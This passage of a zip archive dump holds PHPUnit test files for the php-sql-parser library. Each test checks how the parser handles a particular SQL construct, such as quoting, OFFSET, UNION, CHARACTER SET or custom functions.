        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'tableoptions2.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with UNION table option');
    }
}
?>
PK     \8    F  vendor/greenlion/php-sql-parser/tests/cases/parser/mixedQuotesTest.phpnu [        <?php
/**
 * mixedQuotesTest.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class mixedQuotesTest extends \PHPUnit\Framework\TestCase {

    public function testMixedQuotes() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT ISNULL(\'"\') AS foo FROM bar;';
        $parser->parse($sql);

        $this->assertEquals('\'"\'', $parser->parsed['SELECT'][0]['sub_tree'][0]['base_expr'], "Mixed quotes test failed");
    }
}
PK     \_	  	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue139Test.phpnu [        <?php
/**
 * issue139.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue139Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue139() {


        $sql = "SELECT x,y,z FROM tableA WHERE x<5 limit 2 offset 0";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue139.serialized');
        $this->assertEquals($expected, $p, 'lowercase OFFSET should not fail');

    }
}

PK     \MV	  V	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue30Test.phpnu [        <?php
/**
 * issue30.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue30Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue30() {


        $parser = new PHPSQLParser();
        $sql = "SELECT foo.a FROM test foo WHERE RIGHT(REPLACE(foo.bar,'(0',''),7) = 'a'";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue30.serialized');
        $this->assertEquals($expected, $p, 'parenthesis within string literals within function parameter list');

    }
}

PK     \R9^
  ^
  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue107Test.phpnu [        <?php
/**
 * issue107.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\utils\ExpressionType;


class issue107Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue107() {
        try {
            $sql = "CREATE TABLE IF NOT EXISTS `engine4_urdemo_causebug` (
          `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
          `extra` int(11)  NOT NULL DEFAULT 56,
          PRIMARY KEY (`id`),
          INDEX client_idx (id)
        ) ENGINE=InnoDB;";
            $parser = new PHPSQLParser($sql);
            $p = $parser->parsed;
        } catch (Exception $e) {
            $p = array();
        }
        
        $this->assertSame(ExpressionType::DEF_VALUE, $p['TABLE']['create-def']['sub_tree'][1]['sub_tree'][1]['sub_tree'][5]['expr_type'],
                'column definition with DEFAULT value');

    }
}

PK     \d    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue261Test.phpnu [        <?php
/**
 * issue261.php
 *
 * Test case for PHPSQLParser.
 */

namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;

class issue261Test extends \PHPUnit\Framework\TestCase {

	public function testIssue261() {
		/*
		 * https://github.com/greenlion/PHP-SQL-Parser/issues/261
		 * Hash in VALUE parsed as comment
		 */
		$sql      = 'INSERT INTO `wp_posts` (`post_content`, `post_title`, `guid`) VALUES (\'{\n    \"sydney::primary_color\": {\n        \"value\": \"#cde053\",\n        \"type\": \"theme_mod\",\n        \"user_id\": 1\n    }\n}\', \'\', \'\');';
        $parser   = new PHPSQLParser( $sql );
		$expected = getExpectedValue( dirname( __FILE__ ), 'issue261.serialized' );
		$this->assertEquals( $expected, $parser->parsed, 'hash in VALUE' );
	}
}

PK     \k&    O  vendor/greenlion/php-sql-parser/tests/cases/parser/unionWithParenthesisTest.phpnu [        <?php
/**
 * unionWithParenthesisTest.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class unionWithParenthesisTest extends \PHPUnit\Framework\TestCase {
	
    public function testZero() {
        $parser = new PHPSQLParser();
        $sql = 'SELECT a FROM b UNION SELECT a FROM b WHERE (foo IS NOT NULL)';
        $parser->parse($sql);
        $this->assertEquals('(foo IS NOT NULL)', $parser->parsed['UNION'][1]['WHERE'][0]['base_expr']);
    }
}

PK     \}ǂ	  	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue117Test.phpnu [        <?php
/**
 * issue117Test.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;
use Analog\Analog;
use PHPUnit\Framework\TestCase;

class Issue117Test extends TestCase
{
    public function testIssue117()
    {
        // TODO: not solved, ORDER BY has been lost
        $sql = "(((SELECT x FROM table)) ORDER BY x)";
        //$sql = "(SELECT x FROM table) ORDER BY x";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;

        $expected = getExpectedValue(dirname(__FILE__), 'issue117.serialized');

        $this->assertEquals($expected, $p, 'parentheses on the first position of statement');
    }
}

?>

PK     \p:    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue365Test.phpnu [        <?php
/**
 * issue265.php
 *
 * Test case for PHPSQLCreator.
 */

namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue365Test extends \PHPUnit\Framework\TestCase
{
    /*
     * https://github.com/greenlion/PHP-SQL-Parser/issues/365
     * Data type alias of character broken the CHARACTER SET parsing
     */
    public function testIssue365()
    {
        $sql = "CREATE TABLE IF NOT EXISTS example (`type` CHARACTER (255) CHARACTER SET utf8)";

        $parser  = new PHPSQLParser($sql);
        $parsed = $parser->parsed;
        $create_def = $parsed['TABLE']['create-def'];
        $sub_tree = $create_def['sub_tree'][0]['sub_tree'][1];

        $this->assertEquals('utf8', $sub_tree['charset'], 'CHARACTER SET utf8');
        $expected_type = [
            'expr_type' => 'data-type',
            'base_expr' => 'CHARACTER',
            'length' => 255
        ];
        $this->assertEquals($expected_type, $sub_tree['sub_tree'][0], 'CHARACTER data type definition');
    }

    public function testIssue365BonusCharset()
    {
        $sql = "CREATE TABLE IF NOT EXISTS example (`type` CHARACTER (255) CHARSET utf8)";

        $parser  = new PHPSQLParser($sql);
        $parsed = $parser->parsed;
        $create_def = $parsed['TABLE']['create-def'];
        $sub_tree = $create_def['sub_tree'][0]['sub_tree'][1];

        $this->assertEquals('utf8', $sub_tree['charset'], 'CHARACTER SET utf8');
    }
}
PK     \G_	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue41Test.phpnu [        <?php
/**
 * issue41.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue41Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue41() {


        $parser = new PHPSQLParser();

        $sql = "SELECT * FROM v\$mytable";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue41.serialized');
        $this->assertEquals($expected, $p, 'escaped $ in tablename');

    }
}

PK     \ĻIO    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue102Test.phpnu [        <?php
/**
 * issue102.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue102Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue102() {


        $sql = "SELECT IF(f = 0 || f = 1, 1, 0) FROM tbl";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue102.serialized');
        $this->assertEquals($expected, $p, 'pipes as OR');

    }
}

PK     \_2'  '  I  vendor/greenlion/php-sql-parser/tests/cases/parser/customfunctionTest.phpnu [        <?php
/**
 * customfunction.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id: asc.php 1330 2014-04-15 11:30:07Z phosco@gmx.de $
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\utils\ExpressionType;


class customfunctionTest extends \PHPUnit\Framework\TestCase {
	
    public function testCustomfunction() {
        try {
            $sql = "SELECT PERCENTILE(xyz, 90) as percentile from some_table";
            $parser = new PHPSQLParser();
            $parser->addCustomFunction("percentile");
            $p = $parser->parse($sql, true);
        } catch (\Exception $e) {
            $p = array();
        }
        $this->assertSame(ExpressionType::CUSTOM_FUNCTION, $p['SELECT'][0]['expr_type'], 'custom function within SELECT clause');


        $parser = new PHPSQLParser();
        $parser->addCustomFunction("percentile");
        $parser->addCustomFunction("foo_bar");
        $p = $parser->getCustomFunctions();
        $this->assertEquals(array("PERCENTILE", "FOO_BAR"), $p, 'custom function list');


        $parser = new PHPSQLParser();
        $parser->addCustomFunction("percentile");
        $parser->addCustomFunction("foo_bar");
        $parser->removeCustomFunction('percentile');
        $p = $parser->getCustomFunctions();
        $this->assertEquals(array("FOO_BAR"), $p, 'remove custom function from list');

    }
}

PK     \(Z0
  0
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue12Test.phpnu [        <?php
/**
 * issue12.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue12Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue12() {


        $parser = new PHPSQLParser();

        $sql = "SELECT SQL_CALC_FOUND_ROWS SmTable.*, MATCH (SmTable.fulltextsearch_keyword) AGAINST ('google googles' WITH QUERY EXPANSION) AS keyword_score FROM SmTable WHERE SmTable.status = 'A' AND (SmTable.country_id = 1 AND SmTable.state_id = 10) AND MATCH (SmTable.fulltextsearch_keyword) AGAINST ('google googles') ORDER BY SmTable.level DESC, keyword_score DESC LIMIT 0,10";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue12.serialized');
        $this->assertEquals($expected, $p, 'issue 12');

    }
}

PK     \EϨ.
  .
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue79Test.phpnu [        <?php
/**
 * issue79.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
